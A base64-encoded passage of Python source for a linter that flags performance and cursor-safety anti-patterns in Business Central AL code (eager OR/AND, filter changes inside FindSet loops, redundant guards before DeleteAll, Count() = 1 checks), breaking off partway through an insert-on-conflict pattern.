4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAxNiDigJQgT1IgLyBBTkQgYm90aCBzaWRlcyBhbHdheXMgZXZhbHVhdGVkICh1c2UgbmVzdGVkIElGKQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkVBR0VSX0VWQUxVQVRJT05fT1JfQU5EIiwKICAgIGdyb3VwPSJTaG9ydC1DaXJjdWl0IEV2YWx1YXRpb24iLAogICAgc2V2ZXJpdHk9Ik1FRElVTSIsCiAgICB0aXRsZT0iQUwgJ29yJy8nYW5kJyBldmFsdWF0ZXMgYm90aCBzaWRlcyBlYWdlcmx5IOKAlCB1c2UgbmVzdGVkIElGIGZvciBleHBlbnNpdmUgY2FsbHMiLAogICAgZGVzY3JpcHRpb249KCdBTCBldmFsdWF0ZXMgQk9USCBzaWRlcyBvZiBPUi9BTkQgcmVnYXJkbGVzcyBvZiB0aGUgbGVmdCBzaWRlIHJlc3VsdC4gSWYgdGhlIGxlZnQgY29uZGl0aW9uIGNhbGxzIGFuIGV4cGVuc2l2ZSBmdW5jdGlvbiAoRmluZFNldCwgQ2FsY0ZpZWxkcyksIHRoZSByaWdodCBzaWRlIHN0aWxsIHJ1bnMgZXZlbiB3aGVuIGxlZnQgYWxyZWFkeSBkZXRlcm1pbmVzIHRoZSByZXN1bHQuIE5lc3RlZCBJRiBzdGF0ZW1lbnRzIHByb3ZpZGUgcHJvcGVyIHNob3J0LWNpcmN1aXQgYmVoYXZpb3IuXG5cblNRTCBJTVBBQ1Q6IE5vIFNRTCBjaGFuZ2Ug4oCUIGJvdGggZnVuY3Rpb24gY2FsbHMgZXhlY3V0ZSB1bmNvbmRpdGlvbmFsbHkuXG5XaXRoIG5lc3RlZCBJRjogZXhwZW5zaXZlIHJpZ2h0LXNpZGUgY2FsbCBza2lwcGVkIHdoZW4gbGVmdCBpcyB0cnVlL2ZhbHNlLlxuXG5CQUQ6ICBpZiBFeHBlbnNpdmVBKCkgb3IgRXhwZW5zaXZlQigpIHRoZW5cbkdPT0Q6IGlmIEV4cGVuc2l2ZUEoKSB0aGVuIFByb2Nlc3NSZXN1bHQoKVxuICAgICAgZWxzZSBpZiBFeHBlbnNpdmVCKCkgdGhlbiBQcm9jZXNzUmVzdWx0KCk7XG5cbkhJTlQ6IEFkZCB0cmFjZSBtZXNzYWdlcyBpbnNpZGUgZWFjaCBleHBlbnNpdmUgZnVuY3Rpb24uIENvdW50IGhvdyBtYW55IHRpbWVzIGVhY2ggaXMgY2FsbGVkIHdpdGggT1IgdnMgbmVzdGVkIElGLiBSaWdodC1zaWRlIGZ1bmN0aW9uIHNob3VsZCBub3QgcnVuIHdoZW4gbGVmdCBpcyB0cnVlLicpLAogICAgZXhlcmNpc2VzPVsxNywgMTgsIDM5XSwKKQpjbGFzcyBQYXR0ZXJuRWFnZXJFdmFsdWF0aW9uOgogICAgIyBIZXVyaXN0aWM6IGZ1bmN0aW9uIGNhbGxzIGFzIG9wZXJhbmRzIG9mIG9yL2FuZAogICAgX1JFID0gcmUuY29tcGlsZShyJ1xiKFx3K1woW14pXSpcKSlccysob3J8YW5kKVxzKyhcdytcKFteKV0qXCkpJywgcmUuTVVMVElMSU5FIHwgcmUuSUdOT1JFQ0FTRSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgZm9yIG0gaW4gUGF0dGVybkVhZ2VyRXZhbHVhdGlvbi5fUkUuZmluZGl0ZXIodGV4dCk6CiAgICAgICAgICAgIGlmIHRleHRbbWF4KDAsIG0uc3RhcnQoKS0yKTptLnN0YXJ0KCldLnN0cmlwKCkuc3RhcnRzd2l0aCgnLy8nKToKICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgIGxpbmUgPSBfZmluZF9saW5lKHRleHQsIG0uc3RhcnQoKSkKICAgICAgICAgICAgbGluZV90ZXh0ID0gdGV4dC5zcGxpdGxpbmVzKClbbGluZS0xXS5zdHJpcCgpCiAgICAgICAgICAgIGlmIGxpbmVfdGV4dC5zdGFydHN3aXRoKCcvLycpOgogICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgZmluZGluZ3MuYXBwZW5kKHsKICAgICAgICAgICAgICAgICJsaW5lIjogbGluZSwKICAgICAgICAgICAgICAgICJzbmlwcGV0IjogbS5ncm91cCgwKVs6MTIwXSwKICAgICAgICAgICAgICAgICJtZXNzYWdlIjogZiJFYWdlciBldmFsdWF0aW9uOiAne20uZ3JvdXAoMikudXBwZXIoKX0nIGFsd2F5cyBldmFsdWF0ZXMgYm90aCBzaWRlcyDigJQgdXNlIG5lc3RlZCBJRiBvciAnY2FzZSB0cnVlIG9mJyIKICAgICAgICAgICAgfSkKICAgICAgICByZXR1cm4gZmluZGluZ3MKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiB0ZXh0ICAjIFJlcXVpcmVzIHVuZGVyc3RhbmRpbmcgb2YgaW50ZW50CgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDE3IOKAlCBTZXRSYW5nZS9maWx0ZXIgbXV0YXRpb24gaW5zaWRlIEZpbmRTZXQgbG9vcAojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkZJTFRFUl9NVVRBVElPTl9JTl9MT09QIiwKICAgIGdyb3VwPSJDdXJzb3IgU2FmZXR5IiwKICAgIHNldmVyaXR5PSJISUdIIiwKICAgIHRpdGxlPSJTZXRSYW5nZS9TZXRGaWx0ZXIgaW5zaWRlIEZpbmRTZXQgbG9vcCBjb3JydXB0cyBjdXJzb3IiLAogICAgZGVzY3JpcHRpb249KCJTZXR0aW5nIGEgbmV3IGZpbHRlciBpbnNpZGUgYSBGaW5kU2V0IGxvb3AgbW9kaWZpZXMgdGhlIHJlY29yZCB2YXJpYWJsZSdzIGZpbHRlciBzdGF0ZS4gTmV4dCgpIGNvbnRpbnVlcyBvbiB0aGUgT0xEIGN1cnNvciwgbm90IHRoZSBuZXcgZmlsdGVyLiBSZXN1bHQ6IHJlY29yZHMgbWF5IGJlIG1pc3NlZCwgd3JvbmcgZGF0YSByZXR1cm5lZCwgb3IgaW5maW5pdGUgbG9vcC4gVGhlIGN1cnNvciBwb3NpdGlvbiBiZWNvbWVzIHVuZGVmaW5lZCBhZnRlciBhIFNldFJhbmdlIG1pZC1sb29wLlxuXG5TUUwgSU1QQUNUOiBDdXJzb3IgZXN0YWJsaXNoZWQgYnkgRmluZFNldCwgdGhlbiBmaWx0ZXIgY2hhbmdlZCDihpIgTmV4dCgpIHVuZGVmaW5lZCBiZWhhdmlvci4gSGFyZCB0byByZXByb2R1Y2UgYnVncy5cblxuQkFEOiAgaWYgUmVjLkZpbmRTZXQoKSB0aGVuIHJlcGVhdCBSZWMuU2V0UmFuZ2UoRmllbGQsIFJlYy5GaWVsZCk7IHVudGlsIFJlYy5OZXh0KCk9MDtcbkdPT0Q6IENvbGxlY3Qga2V5cyBpbnRvIGEgTGlzdCBmaXJzdCwgdGhlbiBwcm9jZXNzIHdpdGggR2V0KCkuXG5cbkhJTlQ6IFNldCBhIGJyZWFrcG9pbnQgaW5zaWRlIHRoZSBsb29wIGFmdGVyIFNldFJhbmdlLiBXYXRjaCB3aGljaCByZWNvcmRzIE5leHQoKSByZXR1cm5zIGFmdGVyIHRoZSBmaWx0ZXIgY2hhbmdlLiIpLAogICAgZXhlcmNpc2VzPVsxOV0sCikKY2xhc3MgUGF0dGVybkZpbHRlck11dGF0aW9uSW5Mb29wOgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgZmluZGluZ3MgPSBbXQogICAgICAgIGxpbmVzID0gdGV4dC5zcGxpdGxpbmVzKCkKICAgICAgICBpbl9sb29wID0gRmFsc2UKICAgICAgICBsb29wX3ZhciA9IE5vbmUKICAgICAgICBmb3IgaSwgbGluZSBpbiBlbnVtZXJhdGUobGluZXMpOgogICAgICAgICAgICBtID0gcmUuc2VhcmNoKHInKFx3KylcLkZpbmRTZXQnLCBsaW5lKQogICAgICAgICAgICBpZiBtIGFuZCBub3QgbGluZS5zdHJpcCgpLnN0YXJ0c3dpdGgoJy8vJyk6CiAgICAgICAgICAgICAgICBpbl9sb29wID0gVHJ1ZQogICAgICAgICAgICAgICAgbG9vcF92YXIgPSBtLmdyb3VwKDEpCiAgICAgICAgICAgIGlmIGluX2xvb3AgYW5kIGxvb3BfdmFyOgogICAgICAgICAgICAgICAgaWYgcmUuc2VhcmNoKHJmJ1xie3JlLmVzY2FwZShsb29wX3Zhcil9XC4oU2V0UmFuZ2V8U2V0RmlsdGVyKVwoJywgbGluZSkgYW5kIG5vdCBsaW5lLnN0cmlwKCkuc3RhcnRzd2l0aCgnLy8nKToKICAgICAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICAgICAibGluZSI6IGkgKyAxLAogICAgICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2UiOiBmIid7bG9vcF92YXJ9LlNldFJhbmdlL1NldEZpbHRlcicgaW5zaWRlIEZpbmRTZXQgbG9vcCDigJQgY29ycnVwdHMgY3Vyc29yIgogICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgIGlmIHJlLm1hdGNoKHIndW50aWxccytcdytcLk5leHRcKFwpJywgbGluZS5zdHJpcCgpLCByZS5JR05PUkVDQVNFKToKICAgICAgICAgICAgICAgIGluX2xvb3AgPSBGYWxzZQogICAgICAgICAgICAgICAgbG9vcF92YXIgPSBOb25lCiAgICAgICAgcmV0dXJuIGZpbmRpbmdzCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICByZXR1cm4gdGV4dAoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAxOCDigJQgRmluZFNldCBiZWZvcmUgRGVsZXRlQWxsICh1bm5lY2Vzc2FyeSBndWFyZCkKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJGSU5EU0VUX0JFRk9SRV9ERUxFVEVBTEwiLAogICAgZ3JvdXA9IkJ1bGsgT3BlcmF0aW9ucyIsCiAgICBzZXZlcml0eT0iTUVESVVNIiwKICAgIHRpdGxlPSJGaW5kU2V0KCkgZ3VhcmQgYmVmb3JlIERlbGV0ZUFsbCgpIGlzIHJlZHVuZGFudCIsCiAgICBkZXNjcmlwdGlvbj0oJ1NhbWUgYW50aS1wYXR0ZXJuIGFzIEZpbmRTZXQgYmVmb3JlIE1vZGlmeUFsbCDigJQgY2FsbGluZyBGaW5kU2V0KCkgYmVmb3JlIERlbGV0ZUFsbCgpIGZpcmVzIGFuIGV4dHJhIFNFTEVDVCBqdXN0IHRvIHZlcmlmeSByb3dzIGV4aXN0LiBEZWxldGVBbGwoKSBhbHJlYWR5IGhhbmRsZXMgZW1wdHkgcmVzdWx0IHNldHMg4oCUIGl0IGRvZXMgbm90aGluZy5cblxuU1FMIElNUEFDVDogRXh0cmEgcXVlcnk6IFNFTEVDVCBUT1AgNTAgLi4uIChvbmx5IHRvIGNoZWNrIGV4aXN0ZW5jZSkuXG5UaGVuOiBERUxFVEUgRlJPTSAuLi4gV0hFUkUgLi4uIChEZWxldGVBbGwg4oCUIGRvZXMgdGhpcyBhbnl3YXkpLlxuRmluZFNldCBiZWZvcmUgRGVsZXRlQWxsID0gMiBTUUwgcXVlcmllcy4gSnVzdCBEZWxldGVBbGwgPSAxIFNRTCBERUxFVEUgc3RhdGVtZW50LlxuXG5CQUQ6ICBpZiBSZWNvcmQuRmluZFNldCgpIHRoZW4gUmVjb3JkLkRlbGV0ZUFsbCgpO1xuR09PRDogUmVjb3JkLkRlbGV0ZUFsbCgpO1xuXG5ISU5UOiBTYW1lIGFzIEZpbmRTZXQgYmVmb3JlIE1vZGlmeUFsbCBidXQgZm9yIERlbGV0ZUFsbC4gV2l0aCBGaW5kU2V0OiAyIHF1ZXJpZXMuIFdpdGhvdXQ6IDEgREVMRVRFIHN0YXRlbWVudC4nKSwKICAgIGV4ZXJjaXNlcz1bMjBdLAopCmNsYXNzIFBhdHRlcm5GaW5kU2V0QmVmb3JlRGVsZXRlQWxsOgogICAgX1JFID0gcmUuY29tcGlsZShyJ2lmXHMrKFx3KylcLkZpbmRTZXRcKFwpXHMrdGhlblxzKlxuP1xzKlwxXC5EZWxldGVBbGxcKCcsIHJlLk1VTFRJTElORSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICByZXR1cm4gX2ZpbmRpbmdzKHRleHQsIFBhdHRlcm5GaW5kU2V0QmVmb3JlRGVsZXRlQWxsLl9SRSwKICAgICAgICAgICAgICAgICAgICAgICAgIGxhbWJkYSBtOiBmIkZpbmRTZXQoKSBndWFyZCBiZWZvcmUgRGVsZXRlQWxsKCkgb24gJ3ttLmdyb3VwKDEpfScgaXMgcmVkdW5kYW50IikKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiByZS5zdWIoCiAgICAgICAgICAgIHInaWZccysoXHcrKVwuRmluZFNldFwoXClccyt0aGVuXHMqXG4oXHMrKVwxXC5EZWxldGVBbGxcKCcsCiAgICAgICAgICAgIHInXDJcMS5EZWxldGVBbGwoJywKICAgICAgICAgICAgdGV4dAogICAgICAgICkKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMTkg4oCUIERlbGV0ZUFsbCB3aXRob3V0IElzRW1wdHkgZ3VhcmQgb24gbG9jay1zZW5zaXRpdmUgcmVjb3JkcwojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkRFTEVURUFMTF9OT19JU0VNUFRZX0dVQVJEIiwKICAgIGdyb3VwPSJMb2NraW5nIiwKICAgIHNldmVyaXR5PSJMT1ciLAogICAgdGl0bGU9IkRlbGV0ZUFsbCgpIHdpdGhvdXQgSXNFbXB0eSBndWFyZCBhY3F1aXJlcyB3cml0ZSBsb2NrIGV2ZW4gd2hlbiBlbXB0eSIsCiAgICBkZXNjcmlwdGlvbj0oJ0RlbGV0ZUFsbCgpIG9uIGFuIGVtcHR5IChvciBsaWtlbHktZW1wdHkpIHRhYmxlIHN0aWxsIGZpcmVzIGEgREVMRVRFIEZST00gLi4uIFNRTCBzdGF0ZW1lbnQg4oCUIGFjcXVpcmluZyBhIHdyaXRlIGxvY2sgZXZlbiBpZiB0aGVyZSBhcmUgemVybyByb3dzIHRvIGRlbGV0ZS4gVW5kZXIgaGlnaCBjb25jdXJyZW5jeSwgdW5uZWNlc3NhcnkgbG9jayBhY3F1aXNpdGlvbiBjYXVzZXMgY29udGVudGlvbi5cblxuU1FMIElNUEFDVDogREVMRVRFIEZST00gLi4uIFdIRVJFIC4uLiDihpIgYWNxdWlyZXMgd3JpdGUgbG9jayBldmVuIGlmIDAgcm93cyBhZmZlY3RlZC5cbklzRW1wdHkgZ3VhcmQ6IElGIEVYSVNUUyBjaGVjayBmaXJzdCDihpIgc2tpcCBERUxFVEUgaWYgZW1wdHkuXG5cbkNPTlNJREVSOiBpZiBub3QgUmVjb3JkLklzRW1wdHkoKSB0aGVuIFJlY29yZC5EZWxldGVBbGwoZmFsc2UpO1xuXG5ISU5UOiBDYWxsIERlbGV0ZUFsbCBvbiBhbiBlbXB0eSB0YWJsZSBpbiBTUUwgUHJvZmlsZXIuIFdpdGhvdXQgZ3VhcmQ6IERFTEVURSBmaXJlcyBldmVuIHdpdGggMCByb3dzLiBXaXRoIElzRW1wdHkgZ3VhcmQ6IERFTEVURSBza2lwcGVkIGVudGlyZWx5LicpLAogICAgZXhlcmNpc2VzPVsyMV0sCikKY2xhc3MgUGF0dGVybkRlbGV0ZUFsbE5vR3VhcmQ6CiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgbGluZXMgPSB0ZXh0LnNwbGl0bGluZXMoKQogICAgICAgIGZvciBpLCBsaW5lIGluIGVudW1lcmF0ZShsaW5lcyk6CiAgICAgICAgICAgIG0gPSByZS5zZWFyY2gocicoXHcrKVwuRGVsZXRlQWxsXCgnLCBsaW5lKQogICAgICAgICAgICBpZiBub3QgbSBvciBsaW5lLnN0cmlwKCkuc3RhcnRzd2l0aCgnLy8nKToKICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgIHZhciA9IG0uZ3JvdXAoMSkKICAgICAgICAgICAgIyBDaGVjayAyIGxpbmVzIGFib3ZlIGZvciBJc0VtcHR5IGd1YXJkIG9uIHNhbWUgdmFyCiAgICAgICAgICAgIGNvbnRleHQgPSAnXG4nLmpvaW4obGluZXNbbWF4KDAsIGktMik6aV0pCiAgICAgICAgICAgIGlmIGYne3Zhcn0uSXNFbXB0eScgbm90IGluIGNvbnRleHQ6CiAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICJsaW5lIjogaSArIDEsCiAgICAgICAgICAgICAgICAgICAgInNuaXBwZXQiOiBsaW5lLnN0cmlwKClbOjEyMF0sCiAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2UiOiBmIkNvbnNpZGVyICdpZiBub3Qge3Zhcn0uSXNFbXB0eSgpIHRoZW4nIGd1YXJkIGJlZm9yZSBEZWxldGVBbGwoKSB0byBhdm9pZCBsb2NraW5nIG9uIGVtcHR5IHNldHMiCiAgICAgICAgICAgICAgICB9KQogICAgICAgIHJldHVybiBmaW5kaW5ncwoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMjAg4oCUIENvdW50KCkgPSAxICJleGFjdGx5IG9uZSIgY2hlY2sgKHVzZSBGaW5kRmlyc3QgKyBOZXh0KQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkNPVU5UX0VRVUFMU19PTkUiLAogICAgZ3JvdXA9IkV4aXN0ZW5jZSBDaGVja3MiLAogICAgc2V2ZXJpdHk9Ik1FRElVTSIsCiAgICB0aXRsZT0iQ291bnQoKSA9IDEgdG8gY2hlY2sgdW5pcXVlbmVzcyBzY2FucyBlbnRpcmUgc2V0IiwKICAgIGRlc2NyaXB0aW9uPSgiQ291bnQoKSA9IDEgcmVxdWlyZXMgdGhlIGRhdGFiYXNlIHRvIGNvdW50IEFMTCBtYXRjaGluZyByb3dzLiBUbyBjaGVjayAnZXhhY3RseSBvbmUgcmVjb3JkIGV4aXN0cycsIHlvdSBvbmx5IG5lZWQgdG8gZmV0Y2ggdHdvIHJvd3M6IEZpbmRGaXJzdCgpIGdldHMgdGhlIGZpcnN0LCBOZXh0KCkgPSAwIGNvbmZpcm1zIHRoZXJlIGlzIG5vIHNlY29uZC4gTWF4aW11bSAyIHJvdyByZWFkcy5cblxuU1FMIElNUEFDVDogQ291bnQoKSA9IDE6IFNFTEVDVCBDT1VOVCgqKSBGUk9NIC4uLiDihpIgZnVsbCB0YWJsZSBzY2FuLlxuRmluZEZpcnN0ICsgTmV4dDogU0VMRUNUIFRPUCAxIHRoZW4gU0VMRUNUIFRPUCAxIOKGkiBtYXggMiByb3dzIHJlYWQuXG5cbkJBRDogIGV4aXQoUmVjb3JkLkNvdW50KCkgPSAxKTtcbkdPT0Q6IGlmIFJlY29yZC5GaW5kRmlyc3QoKSB0aGVuIGV4aXQoUmVjb3JkLk5leHQoKSA9IDApXG4gICAgICBlbHNlIGV4aXQoZmFsc2UpO1xuXG5ISU5UOiBDb21wYXJlIFNRTCBmb3IgQ291bnQoKT0xIHZzIEZpbmRGaXJzdCtOZXh0IGFwcHJvYWNoLiBDb3VudCgpIHJlYWRzIGVudGlyZSBtYXRjaGluZyBzZXQuIEZpbmRGaXJzdCtOZXh0IHJlYWRzIGF0IG1vc3QgMiByb3dzLiIpLAogICAgZXhlcmNpc2VzPVsyMl0sCikKY2xhc3MgUGF0dGVybkNvdW50RXF1YWxzT25lOgogICAgX1JFID0gcmUuY29tcGlsZShyJyhcdyspXC5Db3VudFwoXClccyo9XHMqMScsIHJlLk1VTFRJTElORSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICByZXR1cm4gX2ZpbmRpbmdzKHRleHQsIFBhdHRlcm5Db3VudEVxdWFsc09uZS5fUkUsCiAgICAgICAgICAgICAgICAgICAgICAgICBsYW1iZGEgbTogZiJDb3VudCgpID0gMSBzY2FucyBlbnRpcmUgc2V0IOKAlCB1c2UgRmluZEZpcnN0KCkgKyBOZXh0KCkgPSAwIikKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIGRlZiByZXBsYWNlKG0pOgogICAgICAgICAgICB2YXIgPSBtLmdyb3VwKDEpCiAgICAgICAgICAgICMgTG9vayBhdCBjb250ZXh0IHRvIHNlZSBpZiBpdCdzIGluIGFuIGV4aXQoKQogICAgICAgICAgICByZXR1cm4gZid7dmFyfS5GaW5kRmlyc3QoKSBhbmQgKHt2YXJ9Lk5leHQoKSA9IDApJwogICAgICAgIHJldHVybiBQYXR0ZXJuQ291bnRFcXVhbHNPbmUuX1JFLnN1YihyZXBsYWNlLCB0ZXh0KQoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAyMSDigJQgSW5zZXJ0LW9uLWNvbmZsaWN0IHBhdHRlcm4gKHRyeSBJbnNlcnQgZmlyc3QsIE1vZGlmeSBvbiBmYWlsKQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IklOU0VSVF9PTl9DT05GTElDVCIsCiAgICBncm91cD0iV3JpdGUgUGF0dGVybnMiLAogICAgc2V2ZXJpdHk9Ik1FRElVTSIsCiAgICB0aXRsZT0iSW5zZXJ0LW9uLWNvbmZsaWN0IGFudGktcGF0dGVybiAodHJ5IEluc2VydCwgTW9kaWZ5IG9uIGZhaWwpIiwKICAgIGRlc2NyaXB0aW9uPSgnVGhlIEluc2VydCBhbHdheXMgZmlyZXMuIE9uIGR1cGxpY2F0ZSBrZXksIFNRTCByYWlzZXMgYSBjb25zdHJhaW50IGVycm9yIHRoYXQgaXMgY2F1Z2h0IGFuZCB0cmlnZ2VycyBhIE1vZGlmeS4gRXJyb3IgaGFuZGxpbmcgaW4gU1FMIGlzIGV4dHJlbWVseSBleHBlbnNpdmUg4oCUIGVhY2ggY29uZmxpY3QgPSBhIHJvbGxlZC1iYWNrIHN0YXRlbWVudCArIGVycm9yIGV2ZW50LlxuXG5TUUwgSU1QQUNUOiBPbiBjb25mbGljdDogSU5TRVJUIChmYWlscykg4oaSIFNRTCBlcnJvciDihpIgZXJyb3IgaGFuZGxpbmcg4oaSIFVQREFURS5cbldpdGggR2V0OiBTRUxFQ1QgKDEgcm93KSDihpIgYnJhbmNoIOKGkiBJTlNFUlQgb3IgVVBEQVRFIChubyBl